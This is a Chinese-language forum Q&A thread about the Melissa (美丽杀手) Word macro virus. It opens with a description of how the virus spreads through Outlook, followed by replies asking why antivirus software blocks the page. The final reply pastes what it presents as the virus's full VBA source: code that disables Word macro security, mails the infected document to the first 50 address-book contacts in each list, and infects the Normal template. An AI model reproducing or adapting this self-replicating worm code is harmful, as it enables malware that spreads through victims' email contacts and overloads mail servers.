美丽杀手病毒简介？

急用.大家帮帮忙啦!

　这种病毒是专门针对微软电子邮件服务器MS Exchange和电子邮件收发软件0ut1ookExpress的Word宏病毒，是一种拒绝服务的攻击型病毒，能够影响计算机运行微软word97、word2000和0utlook。这种病毒是一种Word文档附件，由E-mall携带传播扩散。由于这种病毒能够自我复制，一旦用户打开这个附件，“美丽杀手”病毒就会使用0ut1ook按收件人的0ut1ook地址簿向前50名收件人自动复制发送，从而过载E-mai1服务器或使之损坏。“美丽杀手”病毒的扩散速度之快可达几何级数，据计算，如果“美丽杀手”病毒能够按照理论上的速度传播，只需要繁殖5次就可以让全世界所有的网络用户都都收到一份。“美丽杀手”病毒的最令人恐怖之处还不仅是拒绝电子邮件服务器，而是使用户的非常敏感和核心的机密信息在不经意间通过电子邮件的反复传播和扩散而被泄漏出去，连扩散到了什么地方可能都不得而知。据外电报道，在北约对南联盟发动的战争行动中，证实“美丽杀手”病毒己使5万部电脑主机和几十万部电脑陷于瘫痪而无法工作，网络被空数据包阻塞，迫使许多用户关机避灾。

为什么我 点击 这个问题 杀毒软件就会 阻止呢？？？

是不是 上面的 VB 乱码 就是 病毒啊？？

VB写的啊？

我晕~~~~~

Private Sub Document_Open()　 On Error Resume Next　 If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microso ft\Office\9.0\Word\Security", "Level") <> "" Then　 CommandBars("Macro").Controls("Security...").Enabled = False　 System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsof t\Office\9.0\Word\Security", "Level") = 1&　 Else　 CommandBars("Tools").Controls("Macro").Enabled = False　 Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)　 End If　 Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice　 Set UngaDasOutlook = CreateObject("Outlook.Application")　 Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")　 If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microso ft\Office\", "Melissa?") <> "... by Kwyjibo" Then　 If UngaDasOutlook = "Outlook" Then　 DasMapiName.Logon "profile", "password"　 For y = 1 To DasMapiName.AddressLists.Count　 Set AddyBook = DasMapiName.AddressLists(y)　 x = 1　 Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)　 For oo = 1 To AddyBook.AddressEntries.Count　 Peep = AddyBook.AddressEntries(x)　 BreakUmOffASlice.Recipients.Add Peep　 x = x + 1　 If x > 50 Then oo = AddyBook.AddressEntries.Count　 Next oo　 BreakUmOffASlice.Subject = "Important Message From " & Applic ation.UserName　 BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"　 BreakUmOffASlice.Attachments.Add ActiveDocument.FullName　 BreakUmOffASlice.Send　 Peep = ""　 Next y　 DasMapiName.Logoff　 End If　 System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsof t\Office\", "Melissa?") = "... by Kwyjibo"　 End If　 Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)　 Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)　 NTCL = NTI1.CodeModule.CountOfLines　 ADCL = ADI1.CodeModule.CountOfLines　 BGN = 2　 If ADI1.Name <> "Melissa" Then　 If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL　 Set ToInfect = ADI1　 ADI1.Name = "Melissa"　 DoAD = True　 End If　 If NTI1.Name <> "Melissa" Then　 If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL　 Set ToInfect = NTI1　 NTI1.Name = "Melissa"　 DoNT = True　 End If　 If DoNT <> True And DoAD <> True Then GoTo CYA　 If DoNT = True Then　 Do While ADI1.CodeModule.Lines(1, 1) = ""　 ADI1.CodeModule.DeleteLines 1　 Loop　 ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")　 Do While ADI1.CodeModule.Lines(BGN, 1) <> ""　 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) BGN = BGN + 1　 Loop　 End If　 If DoAD = True Then　 Do While NTI1.CodeModule.Lines(1, 1) = ""　 NTI1.CodeModule.DeleteLines 1　 Loop　 ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")　 Do While NTI1.CodeModule.Lines(BGN, 1) <> ""　 ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1) BGN = BGN + 1　 Loop　 End If　 CYA:　 If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document ") = False) Then　 ActiveDocument.SaveAs FileName:=ActiveDocument.FullName　 ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then　 ActiveDocument.Saved = True　　 End If　 'WORD/Melissa written by Kwyjibo　 'Works in both Word 2000 and Word 97　 'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!　 'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!　 If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters.　 Game's over.　I'm outta here."　 End Sub　

这是病毒源码……我给你贴出来了……